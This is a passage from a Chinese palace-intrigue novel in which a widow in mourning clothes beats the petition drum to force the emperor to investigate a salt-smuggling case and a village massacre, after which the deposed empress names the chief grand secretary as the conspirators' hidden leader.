“请陛下彻查潼裕冤案,严惩国贼!”
“请陛下开宫门,以慰天下臣民之望!”
声声震宫阙。
“国子监中都是何人,想必你比本王更清楚。”萧沃瞪着萧回,命令道,“收刀,开宫门!”
学生的呼喊越演越烈。萧回臂膀颤抖,他进退两难:萧沃进宫要做什么,他清楚得很;一旦他见到皇帝,会说什么、做什么、会给自己带来什么后果,不堪设想。
可国子监学生闹起来,潼裕的事就被撕到了明面上,跟这帮人对着干,就等着身败名裂、遗臭万年吧。
萧回缓缓收刀,让出了路。
萧沃匆匆进宫,乾清宫大门紧闭,要萧沃与文楼两个人才能推开。当光从逐渐打开的门缝透进殿中,四位阁臣与乔竹心几乎同时站起,看见来者是萧沃,有人欢喜有人愁。
陈皇后站在皇位前,盯着萧沃,脸色难看得像馊了半月的饭。
萧沃跨进殿中,跪在空旷的皇位前,恭恭敬敬地行三拜九叩大礼,礼毕站起身,对陈皇后说:“请娘娘通传,臣要面见父皇——问安。”
陈皇后答:“陛下需静养。”
“臣自然明白,断不会叨扰父皇。”萧沃话锋一转,“但臣也要在父皇床前尽孝,不然,愧对列祖列宗,愧对孝仁先皇后对臣的教导。”
陈皇后脸色更难看了,萧沃用“祖宗”、“孝道”逼她让步,他看似手无寸铁,其实身后是一众清流。如今皇帝就在寝殿中,陈皇后再不让他见皇帝,那就是悖逆了祖宗家法。
陈皇后故作镇定,吩咐侍女:“通传,大殿下求见。”
侍女从后退下,没过多长时间,汪琢上殿:“陛下口谕——”
殿上所有人跪下。
“朕体乏神倦,大殿下请回吧。”
萧沃抬眸,难以置信地盯着汪琢。汪琢却垂下眼眸,跟皇后颔首,便退下了。
——皇帝仍不见萧沃,还下了逐客令。
即便国子监学生罢课,即便天下人都盯着潼裕盐务,皇帝也还是要偏袒萧回、偏袒陈皇后吗?
萧沃站起来,他的双手揣进袖子里,说:“臣不退。”
陈皇后:“你要抗旨吗?”
“娘娘,”萧沃说,“你软禁朝廷重臣,难道也是陛下授意吗?”
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陈皇后倒吸一口冷气:“陛下有恙,朝廷动荡,宫中须由几位大人主持大局。”
“父皇身体康健,突然抱恙,是巧合吗?”萧沃哼笑,“潼裕再次出事,李纳、庄典死而复生,屹王萧回有失察之责,此刻他不在自己府中好生反省,却在宫里耀武扬威!这桩桩件件,难道都是陛下授意?”
陈皇后咬紧牙关。
萧沃向斜上方拱手:“父皇乃明君,自然明白,民心向背何等重要!歹人当街截杀潼裕贪腐案证人,国子监监生跪谏朝廷彻查,而陈皇后你——却把国之要事一再搁置!意欲何为?皇后娘娘这是要逼陛下与朝臣与百姓,彻底离心吗!”
赵鹤大声呵斥道:“岷王殿下!为何还不遵旨离宫!”
金吾卫闻声上殿,就要把萧沃强拉下殿。
萧沃质问赵鹤:“赵阁老,你心甘情愿被皇后挟持,对不对?”
赵鹤说:“臣只遵圣意!”
“陛下何在?!”萧沃问,“从始至终,陛下都没有下一道圣旨,要她陈昀掌管前朝政事!”
陈喆在一边说:“殿下慎言!莫要惊扰圣驾!”
“口谕。”萧沃讽刺地说,“口谕……”
赵鹤睥睨萧沃。
“几位都是食万民俸禄的朝廷重臣、国之肱骨。”萧沃逼近了赵鹤,“贼匪猖獗,冲到上京城截杀重案证人,四天了,你们说,你们在乾清宫主持大局,好——本王问赵阁老,贼匪误伤了多少百姓?”
赵鹤答不上来。
“死三十、伤五十!”萧沃冷笑,“谁在救治,知道吗?”
赵鹤依然答不上来。
萧沃:“是百姓自己!四天了,官府连个屁都不放!不谈案件彻查,不谈伤民救治,朝臣雪花似的奏本飞向内阁,至今没有任何回应!本王身为父皇的嫡长子,如今想见父皇一面,都难如登天!”
赵鹤冷汗涔涔:“臣只尊圣意!陛下未下旨,我等自然不会轻举妄动!”
萧沃笑了:“赵鸣皋!你的意思是,父皇是昏君?京城出了这样的事,父皇岂会坐视不理?他分明是为你们所挟持,不知道宫外发生了何事!”
赵鹤大惊失色:“陛下抱恙,昏迷不醒!”
“那你们干什么吃的?太医院一群废物吗?!”萧沃转眸看向陈皇后,“你不是代掌朝政吗?上京城死了那么多人,你为何装聋作哑?”
陈皇后眼神躲闪:“本宫……本宫侍奉皇上……”
“你在侍疾,所以也无暇顾及政事,对吗?”萧沃讽刺地笑,他伸出一根手指,挨个指赵鹤、陈喆、陈皇后、萧回,“你们想干什么?挟天子以令诸侯,唯恐天下不乱……百姓伸出水深火热,你们在这互相推诿……好,好!”
陈皇后指着萧沃的鼻子,命令金吾卫:“你们还愣着干嘛!还不快把这个目无君父的拿下!”
“父皇——”萧沃被人扼住了双臂,昂首高呼,“儿臣所作所为皆为公道,皆为百姓,父皇可杀儿臣,可剐儿臣,但不可枉顾百姓安危!陈昀——你能捂我一人的嘴,但堵不住天下悠悠众口!”
陈皇后大喊:“还不快把他拖出去?!”
“咚——咚——咚——”
乔竹心惊呼:“是登闻鼓!皇后娘娘,登闻鼓响!”
温如璋紧随其后:“登闻鼓响,必有重大冤情!依祖制,陛下须亲自上殿,为击鼓者主持公道!”
46. 带孝
半个时辰前,吴泪家中。
“我已经安排人把“毕息散”掺进叶崇、李纳、庄典的饭食中,只剩一个时辰了。”吴泪双手扶额,长长地叹息,“大殿下清晨入宫,至今未归。就算国子监学生跪谏,皇后也没有要放人的意思。”
兰见春问:“皇后这是要跟殿下磕到底了。”
“国子监学生可都是未来的官,皇后为保二殿下名声,也不会跟他们对着干。”吴泪说,“但这若是陛下授意呢?如今看来,并非皇后挟持了陛下,而是陛下主动被‘挟持’。”
兰见春顿时明白:“不愿查潼裕盐务的,是陛下本人?”
“陈皇后只是陛下推出来的挡箭牌。”吴泪不甘心地说,“她替陛下做陛下想做的事,她再扛‘外戚专权’、‘祸国殃民’的罪名……恐怕连陈皇后都不知道自己被皇帝当枪使了。”
兰见春急切地问:“陛下为何不愿查盐务?从上次贪腐案便是,陛下一直在包庇二殿下,宁可把大殿下下狱,也要包庇!为什么,同知,我不明白。”
吴泪不敢看她的眼睛:“……陛下一向疼爱二殿下。”
“疼爱?”兰见春不甘心地说,“同知……潼裕枉死了多少人?陛下竟看不到么?”
吴泪小声说:“潼裕远在天边,有些事,连晦朔司都不知道。”
“因为撞破了他们的秘密,吴沟村全村被屠。”兰见春万分悲切,“瑞生一路讨要赈灾,最后落了个惨死的下场。同知,之前大殿下就劝我,不要急于一时,不要急于一时,可我现在看得清清楚楚,陛下这就是在包庇二殿下!潼裕死再多人,都不如二殿下一个人重要!”
吴泪伸手想堵兰见春的嘴:“别再说了!”
“同知,我明白你是为我好,但我身上还背着我们吴沟村三百户人家的债。”兰见春说,“我不想大殿下功亏一篑。”
吴泪摁住她的肩膀:“最后一个时辰,我们再等一等。”
兰见春摇头,说:“若一切顺利,殿下早就回来了。陛下一直藏在皇后身后,国子监学生跪谏都没用,我们再等,那便是坐以待毙。”
吴泪深吸一口气:“稍安勿躁,我再想想办法。”
“我要告御状。”兰见春咬紧了后槽牙。“依祖制,‘民冤重大则皇帝亲听’,陛下一定要出来见我。”
“你要敲登闻鼓?”吴泪惊得心跳都漏了一拍,“若陛下真的苏醒过来,你去敲鼓,或许有用。可——这太危险了!跟去送死有什么区别?”
兰见春停顿片刻,下了很大决心:“同知,我来京城,就是为了查清真相,为我的亲人讨一个公道。如果陛下再次压下潼裕的案子,那他们真的就白死了。”
吴泪掩面:“你想好了吗?”
“只要有希望,我就要去。”兰见春握住吴泪的手,“我就算豁出性命,都要逼陛下,把‘上位’揪出来。”
吴泪望着她,眼圈有点红:“你下定决定了?”
兰见春点头。
吴泪问:“那你需要什么,我替你准备。”
“孝服,”兰见春笃定地说,“我需要一身孝服。”
吴泪抬起手,摸了摸她的脸,哽咽道:“好。”
兰见春说:“谢谢同知。”
“我现在就去准备,”吴泪说,“你等等我。”
兰见春目送吴泪离开,屋子里只剩下她一个人,她能听见自己清晰的心跳。
她扶着腹部的伤口,强撑着下床。她摸到了桌边,解下缝在胸口的三块铜板。
她沉了口气,努力让自己平静下来,之后将铜板抛出,六次。
得出卦象,兰见春愣了。
——泽水困,大凶。
此事不可为,金銮殿不能去,若去,将必死无疑。
兰见春把三块铜板摞在一起,放在了桌上。
她笑,如释重负。
—
乾清宫的大门再次打开,一个披麻戴孝的女人缓缓上殿。她背光而立,昂扬着头,直视皇位上的皇帝,皇帝撑着拐杖站起来。
陈皇后指着兰见春的鼻子训斥道:“大胆刁民,竟敢穿丧服上殿?!”
萧沃立刻回头,看清女人的脸,霎时没了力气。
——兰见春——你不要命了?这是大不敬!
“我为我的乡邻带孝,我为我枉死的丈夫……带孝。”
兰见春直直地望着皇帝,眼眸中藏着哀怨,她离皇帝那么近,但又离他那么远,远到她要踩着丈夫、乡邻、虞水的尸体,踩着吴泪、叶崇、萧沃的肩膀才能到达这大殿。
从潼裕到上京三千里,她一路流徙,一路颠沛流离,才把亲人的血泪呈到皇帝面前。
蚍蜉撼树谈何易?
“即便是皇帝,我也要跟他斗一斗”,半年前,兰见春还如此说着,在萧沃看来这就是痴人说梦,但半年后,兰见春真的站在皇帝面前,逼迫皇帝为她主持公道。
这一次,她不会躲在任何人的身后。
陈皇后神色大变:“你们还愣着干嘛!还不快把这大不敬的贱妇拖出去!”
“娘娘且慢!”温如璋说,“击鼓之人已经上殿,陛下还未问过冤情,娘娘怎能擅自做主把她拖出去!”
“皇后——”皇帝看向陈皇后,言外之意,让她不要再插手了。
陈皇后眼神躲闪,悻悻地退到了一边。皇帝站在高位睥睨兰见春,而兰见春跪着,却昂着头直视皇帝的眼睛。
皇帝当然认得她,这是萧沃送进晦朔司的女人。
“为何击鼓?”
兰见春:“民妇是潼裕丘州羌榆县吴沟村秀才何瑞生之妻,名为兰见春。今年六月,天降大雨,洪水泛滥。吴沟村受灾严重,但县衙迟迟不肯赈灾,乡邻死伤惨重。民妇的相公为讨要赈灾,赴县衙,未果;赴州府,未果;赴省府,亦未果。”
兰见春从袖中取出一只卷轴:“这是吴沟村人为求赈灾而写的联名上书,共三百零六户、一千二百三十九人。”
兰见春展开了卷轴,每一个墨水写的村民姓名上都压了红彤彤的指印。卷轴脏兮兮的,有血点子,还有污泥,纵横交错,惨得像吴沟村被屠杀后的光景。
四位阁臣、萧沃、乔竹心眼睁睁地看着那份写满吴沟村村民姓名的卷轴从自己面前滚过去,停在皇帝面前。
皇帝盯着那份百姓上书,太阳穴的青筋都绷起来。
“何瑞生回家的时候,一支箭刺进了他的后心。”兰见春从袖中取出何瑞生的留给她的符号,摊开展露在所有人面前,“何瑞生临终时,将这个符号给了我。”
大殿霎时安静下来。
兰见春继续说:“随后,一伙力剌人冲进了吴沟村,大肆屠杀百姓。我藏在狐仙神像中,侥幸逃过一劫。我亲眼看着他们杀人,但无能为力。这群所谓的‘力剌人’,一反常态,进村不抢钱粮、不掠妇女,使的是军中招数,说的却是中原话!”
皇帝如坐针毡。
兰见春察觉他的异样,说:“陛下,他们根本就不是力剌人。”
皇帝抓紧了拐杖,但能听见拐杖急切地撞击地面的声音——皇帝在抖。
“吴沟村全村被屠戮,请陛下主持公道。”兰见春把双眼符号捧在手心,举过头顶,“请陛下揪出国贼、惩奸除恶,还吴沟村人一个公道!”
皇帝沉默。
兰见春再呼:“请陛下——主持公道!”
沉默。
皇帝站起身,他说:“朕累了,再议。”
温如璋站出来:“请陛下为百姓主持公道!”
皇帝无动于衷。
海益、乔竹心接连说:“臣附议!”
皇帝顿了片刻,不予回复。
萧沃挣开金吾卫,重重地磕了个响头:“父皇不光是皇子的父亲,更是天下人的君父!儿臣恳求您——为百姓做主!”
温如璋、海益、乔竹心同时说:“请陛下做主!”
皇帝停了许久,最后逃也似的,马上就要退到殿后。
“百姓,何其轻贱的两个字。”
兰见春一语既出,话惊四座。
赵鹤指着她:“大胆!”
皇帝蓦然回首,他感觉有一支箭从背后刺进了他的心脏。皇帝怔然盯着兰见春,
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嘴唇霎时就变紫了。
“天下安定时,是你们这些皇亲国戚、朱门权贵争着抢着要爱护、要疼惜的宝物。可当天灾人祸来时,又变成了可弃、可抛的废物!”兰见春站起来,眼泪顺着她的眼睛往下掉。
萧沃诧异地回头,那一刻,他在兰见春身上见到了金子般珍贵的勇气。
“大胆贱妇!”赵鹤看向金吾卫,“还不快把这个目无君王的贱妇拖出去?!”
又从外面冲进来两个金吾卫抓住兰见春,她却使劲挣开了他们,他们根本没想到,一个女子竟有这么大的力气。她恶狠狠地盯着他们,低低地骂了一句:“走狗。”
她指着大殿上的人,眼红如血,骂道:“一个个口口声声说要爱民如子,一个个嚎叫着要为万世开太平,一个个都要为万民福祉鞠躬尽瘁,为何到了今日这般,要你们真正为百姓争一个公道的时候,一个个又畏缩如乌龟?”
金吾卫又冲上来,她以迅雷不及掩耳之势,从一个护卫的腰边抽出了刀,刀尖对准他们,威胁道:“你们敢来,我就敢杀。”
高位上的皇帝已经傻了。
兰见春提刀转向赵鹤、陈喆:“赵阁老,陈阁老,你们为何畏缩如乌龟?怯懦如老鼠?为何!”
赵鹤侧眼盯着她,骂道:“妇人之见!”
兰见春打断他:“我猜,你又要开始说,为了大局,为了天下,要忍耐,要息事宁人。我难道看不出你在粉饰太平吗!其他人难道看不出你在粉饰太平吗?你在包庇谁?你在为谁遮掩?大局……都是你这种人为护私利的托词!骗子!”
赵鹤怒不可遏,抓着笏板,指着兰见春的鼻子:“泼妇!”
兰见春连眼都不眨一下,回怼道:“佞臣。”
皇帝拄着拐杖,朝兰见春走过来。他的龙袍掠过请愿书,但无法抹平所有的痕迹。他重新审视着兰见春,而兰见春也在审视着她的“君父”。
谁敢在皇帝面前说这种话?又有谁敢在皇帝面前拔刀?
皇帝冷道:“你不想活了。”
兰见春缓缓放下刀,叹息道:“全村被屠那日,我就该死了。”
“来人。”皇帝低声道,“把这个无君无父的女人押入大牢,等候发落。”
金吾卫冲上来,禁锢住兰见春。
“陛下要杀要剐,民妇绝无怨言!”兰见春挣扎着,不肯走,“但请让民妇见到陛下处决害死我村人的凶手再死!民妇也好……在下黄泉时,有脸见故去的亲人。”
陈皇后跪下,哭声道:“陛下——不能留着她的命啊!若是这样的人都能多活几天,那天下人都敢上殿威胁君父了呀!陛下——三思呀!”
皇帝回眸望陈皇后,眉头紧锁、嘴角抽搐,他缓了许久,才说:“汪琢,拟旨。”
皇帝全身都在抖:“着——晦朔司彻查潼裕盐务、力剌战马去向、吴沟村屠村案,揪出幕后主使。都察院、刑部、大理寺协查,抓国贼、平民愤。”
适时,天光踱进乾清宫,栖在兰见春白色的裙摆上,像一只流浪的猫儿黏在它的新主人跟前,兰见春泪如雨下。
陈皇后急忙忙地跑过来,焦急道:“陛下!”
“皇后陈氏违逆圣意干预朝廷、扣押朝廷重臣,即日起,废其后位,发配冷宫。”
陈后不甘心地喊:“陛下!”
皇帝看向殿外,萧回还眼巴巴地站在远处:“屹王萧回查贪不力,禁足府上,听从发落。”
兰见春如释重负地笑了出来。
皇帝侧眼盯着她:“晦朔司朔院甲处兰见春,以下犯上,革职查办,等候发落!——拖出去!”
阳光吞没了兰见春,将她的丧服染成了绯红色,她幸福地笑着,如同她出嫁那天。压在她胸口的大石头瞬间化为齑粉,自那天之后,她从未像今天这样,轻松、快乐、幸福。
兰见春行叩拜大礼:“陛下圣明!”
金吾卫冲上来把她拖走,她闭上了眼睛,大喊:“陛下圣明——”
萧沃颤抖着回首,透过泪水,他看见她的笑靥。
她亦凝望他。
泪水淹没遗憾。
47. 失去
萧沃像一只游魂,恍恍惚惚地打开王府的门,恍恍惚惚地从景思娴身旁略过,恍恍惚惚地推开自己房间的门。
皇帝下旨彻查萧回,他多年以来的愿望实现了。这一回,无论结果如何,萧回都很难东山再起了。
他赢了,却也输了。
他喜欢的人再也不会回来了。他们的故事还没开始就结束了,潦草、荒唐地结束了。
萧沃瘫坐在地,生硬的地面撞得他屁股疼。
他笑出了声,是啊,他应该高兴,皇后被废,萧回被囚,潼裕的案子由四方会审,她一个人,就做成了萧沃好几年没做成的事,还有什么不满足呢?为何会难过呢?为何会这么难过呢?
一颗颗泪打在他的虎口。萧沃双手插进头发里,低声啜泣。
兰见春你不是胆子很小吗?虞水死的时候,那么害怕,怕得想退缩。为什么今天有那么大胆量,穿丧服上殿,骂皇帝、骂阁臣,脑子里全都是死的人,浑然忘了还有人希望你活着。
我怎么救你啊,兰见春,你个疯子。
我宁可你像只蚂蚁一样藏起来,我宁可为你与我的父皇斗得头破血流,我也不想你冲在我前头,那是送死,是自寻死路……
萧沃揪自己头发,自己无能得让他发狂。
“表哥……”景思娴在外敲门,“表哥,你怎么了?”
萧沃不回答。
景思娴越来越着急,敲得更快、更使劲:“表哥?你没事吧!开门,开门!”
“我想一个人待会,”萧沃气若游丝,“你走吧。”
萧沃的声音近在咫尺,景思娴蹲下来,看见阳光正好透过门缝、映在了萧沃的背上。
景思娴把手放在门上,心疼地说:“表哥,我很担心你。”
“……”
“今天的事,我都听说了。”景思娴很聪明,“兰见春,应该就是表哥从潼裕带回来的人吧。”
萧沃用袖子擦鼻涕眼泪,听见她的名字,眼泪就跟开闸的水似的。
景思娴望着门,小声问:“表哥很喜欢她,对不对?”
萧沃屏气凝神。
“自成婚之后,表哥与我疏远了。”景思娴说,“我知道你在避嫌,这是陛下赐给我们的,我们没办法改变。但我们始终是家人,表哥,你有什么苦,能别憋在心里,好吗?”
萧沃像个孩子一样哭出了声。
除了为孝仁皇后,景思娴从未见过萧沃为谁如此哭过。她为他而难过,像他们这种人,一生很难遇见一个真正喜欢的人。叶崇平安归来,景思娴是幸运的;兰见春犯了死罪,萧沃是不幸的。
“表哥,我能明白你。没人希望自己喜欢的人,为自己受那么大的苦。兰见春是个令人钦佩的女子,她做了我们这种人一辈子都不敢做的事。”
萧沃哭得上气不接下气。
“我不希望她……终究是我害死了她。我不该带她回京,我不该许诺,我不该把她卷来……我怎么办啊,思娴,我没能耐,我没能说服父皇,如果是我说那些话,现在一切都不一样了,她被我害死了……”
景思娴安慰他:“她也是为了她的家人。”
“那本就是我欠她的。皇帝不仁,为臣无能,她被奸佞害得家破人亡,我有罪……”
“表哥!你别这样……”景思娴使劲推门,“有些事我们控制不了。”
“我一早就知道老二贩私盐,我一早就知道老二豢养兵马,”萧沃使劲锤自己的脑袋,“我知道他克扣赈灾,我知道他鱼肉百姓,但我什么都没做,我不断地搜集他的罪证,我满脑子想的都是杀了他、杀了他——”
景思娴惊讶得说不出来,她根本没想到这么多年,萧沃谋划了这么多。
“我应该阻止老二的。”萧沃愧疚地说,“我应该找个更好的办法……”
景思娴跪在地上,触碰着冰凉的雕花门,心疼地说:“表哥,这不是你的错。”
“我为什么要把她卷进来……我毁了她……我该下地狱。”
“如果我是兰见春,我不会恨表哥。”景思娴叹息道,“表哥没有把她关在一个金鸟笼里,让她坐等‘真相大白’。而是帮她一步步地走到那个位置,亲自与害她的人一决高下。表哥,你帮了她,你没有害她。”
萧沃一直摇头。
“我知道,表哥是心疼她。但表哥,你得往前看。”景思娴说,“不要这样自怨自艾,姑母和表妹在天上看到了,会难过的。”
萧沃轻声说:“……你走吧,思娴,让我一个人待一会,求你了……”
“表哥,”景思娴站起身,“别折磨自己,好吗?”
萧沃有些急了:“你走啊!”
“你如果有话对她讲,那你就亲口对她说。”景思娴往后退,“别等来不及。”
萧沃抱着脑袋哭,听不进任何话了。
“刚才晦朔司传来消息,”景思娴说,“乔竹心还是回来晚了,慕之他们,还在牢里。”
“不重要了……这些都不重要了……”
景思娴问:“他们不会再对证人下手吗?”
“陈昀已经丢了后位,陛下下旨彻查,就算他们杀了证人,也于事无补。”萧沃的语气酸溜溜的,“你去等叶崇正大光明地从狱中出来吧。他没事了,你们都没事了……”
“这跟他有什么关系?萧荫槐,我来是为了劝你,你提他干什么?!哭吧!哭也没用!你就什么话都听不进吧!”景思娴拂袖而去,复又折返,“表哥——我很担心你……”
她只能听见另一边的萧沃急促呼吸,她的心一直提到了嗓子眼。萧沃不肯开门,无论她说什么,他都不回应。景思娴不停地擦眼泪,就站在门外陪着他。
—
冷宫内,一个佝偻的黑影悄悄地站在了陈昀的处所。
他用一根银丝慢慢撬开门锁,拉开门踏进了冷宫的荒芜之中。云锦靴踩在雪地上,发出“沙沙”的声响,像风撩动女人的发丝。
风从冷宫破败的窗户闯进房中,不断地发出呜咽。他好像听见了女人的哭声,他在门边驻足良久,才敢推开门。
“昀儿。”他呼唤她的名字。
墙角的陈昀猛然惊醒,却被人一把揽进了怀中。他一遍一遍地抚摸自己的后脑,像安慰伤心的孩子。
陈昀抬起头,鼻尖触碰过他的嘴唇、鼻尖、鼻梁、眼眶、眉毛,最终埋到了他的颈窝,委屈得哭出了声:“你怎么才来,你为何现在才来?”
赵鹤心疼地说:“对不起,我来晚了。”
“我恨他,”陈昀咬牙切齿地说,“我恨他……他过河拆桥,他毁了我。”
赵鹤抚摸她的后脑,像安抚一个伤心的孩子。
陈昀抓着他的衣服,咬着牙哭。
她这辈子为何如此命苦呢?
天家并非她向往之处。
幼时她女扮男装,在父亲的帮助下,进入国子监学习。在那里,她遇见了赵鹤。赵鹤一如他的名字。风度翩翩,才华横溢,是老师的得意弟子,让国子监监生都望尘莫及。
她不由自主地仰慕起赵鹤,而赵鹤只当她是同仁,他亦欣赏她敏捷的思维和细腻的文风。
在皇家的春日宴上,陈昀换上女儿装,坐在了赵鹤的对面,与皇子公主侃侃而谈。
赵鹤无比惊喜,自己欣赏的“同仁”,竟是个精致美丽的贵女。
而就在那场宴席上,当今的皇帝也为陈昀所吸引,他望着陈昀,却没办法插进她和嘉泽太子的对话。
那天,先帝为现在的皇帝和景怡赐婚,同时将陈昀指给了嘉泽太子为妾。
陈昀与嘉泽太子婚期未至,嘉泽太子便掀起了宫变,最终死于皇帝刀下。
换成了皇帝娶陈昀为妾。
皇帝常常说,他是为了陈昀才设计了这一切。
但陈昀不愿意听这种话,自己又不是红颜祸水。她有喜欢的人,她不想进皇家。
“成婚前一天,你对我说的话,还算不算数?”陈
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昀从回忆中抽离吗,她抓住赵鹤的衣襟,“你说,终会有一天,会带我离开这。你带我走吧,鸣皋,我们去哪都行。”
赵鹤把人抱起来,安安稳稳地放在到了床上。
陈昀感觉到是床,害怕地颤抖起来,她抓住她的衣领,低声道:“有人……床上有人……”
“没有人。”他说。
“有!”陈昀生气地说,“是景怡!是她!她看着我!她一直在看着我!鸣皋,你带我走!带我走!”
赵鹤闭上眼,泪垂在陈昀的额头。别无他法,他抱着人坐在一只窄窄的木榻中。赵鹤的手臂更加用力,让陈昀贴着自己的胸膛。陈昀听他清晰的心跳,终于安静下来。
“我害怕。”陈昀气息奄奄,“景怡,她也在这间屋子里。”
赵鹤叹息:“她早就死了,昀儿。”
“不,她一直在。”陈昀又开始瑟瑟发抖,“不是我害的她,是陛下,陛下让我把染了天花的衣服放到萧泠房间里……是陛下给她喂的补药,是陛下致使稳婆害她的孩子……我什么都没做。”
赵鹤轻轻地摇晃她:“我知道。我们昀儿是无辜的,孝仁皇后是个明白人,她不会恨错人,你别怕。”
陈昀伏在他怀中,说:“鸣皋,我不想死……”
“你不会死的。”赵鹤说,“我已经想好了办法。”
“乔竹心投靠了老大,章玉良也死了,”陈昀抓住了赵鹤的衣襟,“我们没别的办法了。”
“还有办法,”赵鹤垂眸望着陈昀的眼眸,声音很柔,“揭发我。”
陈昀难以置信地抬起头:“……我不要。”
赵鹤坦坦荡荡:“一旦东窗事发,赵家本就脱不了干系。陛下见到了那个符号,查到我们是迟早的事。这件事总要有人买单,我是最合适的人。”
陈昀头摇成了拨浪鼓:“我不要你死。”
“我死,你跟孩子们才能活。”赵鹤为她擦眼泪,指尖慢慢滑过她的脸框,心满意足地说,“把所有的责任都撇给我吧,陛下会放过你们。”
陈昀一直摇头,她死死抓着赵鹤,她以为这样就能留着赵鹤。
“等到陛下都查出来,我们就全完了。”赵鹤揉她的耳朵,“听话。潼裕的案子早点结束,二殿下就还有机会。”
赵鹤从怀中取出一块玉佩放到她手中,它雕刻成眼中眼的模样,与“上位”的符号一模一样:“你把这个给乔竹心,就说是我给你的。”
“这是……”陈昀当然知道这块玉佩是谁的,是干什么用的,“你这样做,真的能把她摘干净吗?”
赵鹤点头:“陛下给我安什么罪名,我都认了。只要泊舟能保住爵位,照儿作为他的正妃,就能安然无恙。”
“那我就求陛下许诺,保泊舟的王爵。”陈昀摩挲那块玉佩,“我们……只剩最后那条路了吗?”
“对。我看明白了,大殿下与二殿下,陛下谁都不想选。大殿下仁慈,又败在心软上。二殿下骁勇,亦败在鲁莽上。只有活到最后的,才是赢家。最后那条路我们不能轻易走,二殿下这回保全自身为上——退亦为进。”
陈昀说:“你带我走吧。”
赵鹤无奈地说:“我们能逃去哪?我不想要你跟我过东躲西藏的日子。”
陈昀说:“没关系!”
赵鹤摇头:“把所有罪责都推到我头上,能及时止损。昀儿……”
赵鹤把她揽进了怀里。
“二殿下并非没有胜算,有照儿为他谋划,我们未必能输。”赵鹤说,“你得好好活着,将来,你还要做太后,还要看我们的孩子登上高位、权势滔天。”
陈昀哭道:“鸣皋,我不想要你死。”
“你出嫁那日,我就已经死了。”赵鹤说,“我以为,我帮他扳倒嘉泽之后,你身上就没了婚约。谁料这人言而无信,毁了你的一辈子。现在又……”
陈昀啜泣。
“不哭,不哭……”赵鹤说,“我们会转危为安的。”
48. 揭发
“陈昀,你准备好了?”
冷宫里,乔竹心与吴泪坐在陈昀对面,已经准备好做口供了。
吴泪侧眼打量她,不过才在冷宫待了半个多月,陈昀就老了十多岁,眼窝深陷、眼球几乎要掉出来了。宫里的女人就像皇帝养的花,按时浇水、施肥就越活越漂亮,可只要被抛弃,就会迅速枯萎,挨不过半天的风吹日晒。
人为什么要活成这样呢?她不愿再看了,收回目光,望着空白的纸出神。
陈昀咽了口唾沫:“我知道‘上位’是谁。”
乔竹心与吴泪同时抬头,同时用诧异的眼神看陈昀。
乔竹心:“是谁?”
陈昀沉默。
乔竹心深吸一口气:“回答。”
陈昀抬眸,期待地问:“我说了,陛下能不杀我吗?”
乔竹心沉吟片刻,道:“我会为你求情。”
这意思就是,看你说的东西严不严重,要是没多大事,能替你说点好话求个饶。陈昀啜泣,她双手掩面,道:“我还不想死……”
乔竹心问:“就算一辈子在冷宫,你也不想死吗?”
陈昀哽咽道:“好死不如赖活着。”
乔竹心往后倚,以一种十分放松的姿势瘫在椅子里:“那你没必要主动交代,陈昀,我没办法保证,陛下会不会留住你的命。”
陈昀小声说:“司丞是陛下最信任的人。关于‘上位’我知道的真不少,我什么都能说,我只求陛下能留我们母子三人的性命。”
乔竹心盯着她的眼睛,突然笑了。她怎么能替皇帝下这种承诺?
“既然如此,你就没必要说了。”乔竹心站起身,吩咐吴泪,“回晦朔司。”
“等等。”有人推开了房门。
乔竹心与吴泪立马跪下:“见过陛下。”
皇帝裹着黑色大狐裘,一脚迈进了陈昀房中。陈昀看见是皇帝,像落花似的软软地倒伏在地上。她声音小得像猫一样:“陛下……”
“知道什么,你都如实说来。”皇帝心疼地说,回头看乔竹心与吴泪,才说,“若你把你知道的和盘托出,朕……保你们母子三人的性命。”
陈昀以膝盖为足,爬向了皇帝,却在离他还有一段距离时停下:“陛下!泊舟与锦儿什么都不知道……臣妾怕他们……”
“朕不会把他们贬为庶人。”皇帝坐下,“他们也是朕的亲骨肉。”
陈昀不停叩头:“臣妾谢陛下!谢陛下!”
“说,”皇帝怜爱地望着她,“朕今日就在这。”
陈昀用手背擦干眼泪,她快速地捋顺头发,两手抱在胸前,毕恭毕敬地说:“赵鹤!赵鹤就是‘上位’!”
皇帝瞳仁骤缩,吴泪赶紧记口供,她跟乔竹心连头都不敢抬。
皇帝停顿许久:“……当朝首辅,赵鹤?”
陈昀点头如捣蒜:“他在吏部这些年,用升迁,指使章玉良、李纳等人为他敛财。盛平五年,以修筑黄河堤坝之名,征收大量徭役以建盐马道。同年,与潼裕的鸣沙商行合作,与力剌开始盐马交易。”
皇帝久久说不出话来,缓了许久,才问:“你是怎么知道的?他做这些事,与你有什么关系?与屹王,又有什么关系?”
陈昀沉默,皇帝话中带着火||药味。
皇帝急切地说:“答话。”
“泊舟与赵家的大小姐赵照,自小便有婚约。”陈昀提一口气,“父母之爱子,必为之计深远。我们都希望孩子们都能有个好未来,于是自作主张……做了那么多错事。”
皇帝诧异地问:“我们?”
陈昀吓了一大跳:“是臣妾跟赵鹤……是臣妾猪油蒙了心,才给泊舟定了这桩婚事!陛下,臣妾当时什么都不懂,只想着两家孩子年纪相仿、门第合适,臣妾只想给泊舟拼个好前途,臣妾心里只有陛下呀!”
“朕怎么会怀疑你呢?”皇帝松了口气,“朕对你如何,你对朕如何,朕都看在眼里。”
陈昀低着头,皇帝没见她嫌恶地翻了白眼。她从袖中取出赵鹤给她的玉佩,皇帝稍微一回眸,乔竹心便会意,把玉佩捧到了皇帝面前。
“这块玉佩,是泊舟去潼裕那年,赵鹤亲手给臣妾的。他说,潼裕的路都已经为泊舟打通了,有了这块玉佩,潼裕的人亦会为臣妾所用。臣妾不知道他在潼裕做了什么,这块玉佩,臣妾一直都没用……”
皇帝举着那块玉佩:“一直没用?”
“泊舟去了潼裕后,时常来信说,潼裕山匪多,力剌又虎视眈眈,但朝廷拨的军饷不够,他想干出一番事业,却处处掣肘。臣妾猜,泊舟日子过得苦,他的王妃赵照肯定也心疼,几封家书送到京城,赵鹤就决定帮泊舟一把。”
皇帝:“所以赵鹤指使西北的官员贪墨,从中分走一杯羹,作为泊舟的军费?那么大一笔钱,泊舟就没起疑?”
“不是,陛下!”陈昀说,“赵鹤在边疆做盐马生意,弄来大批马后,经由鸣沙商行,把马卖给了屹王军。泊舟用新马替换掉营中的老马、病马、瘦马,这才慢慢提升潼裕军队实力。”
皇帝:“军费不够,难道不会找朝廷要吗?非要自己从外面买这种来路不明的马!”
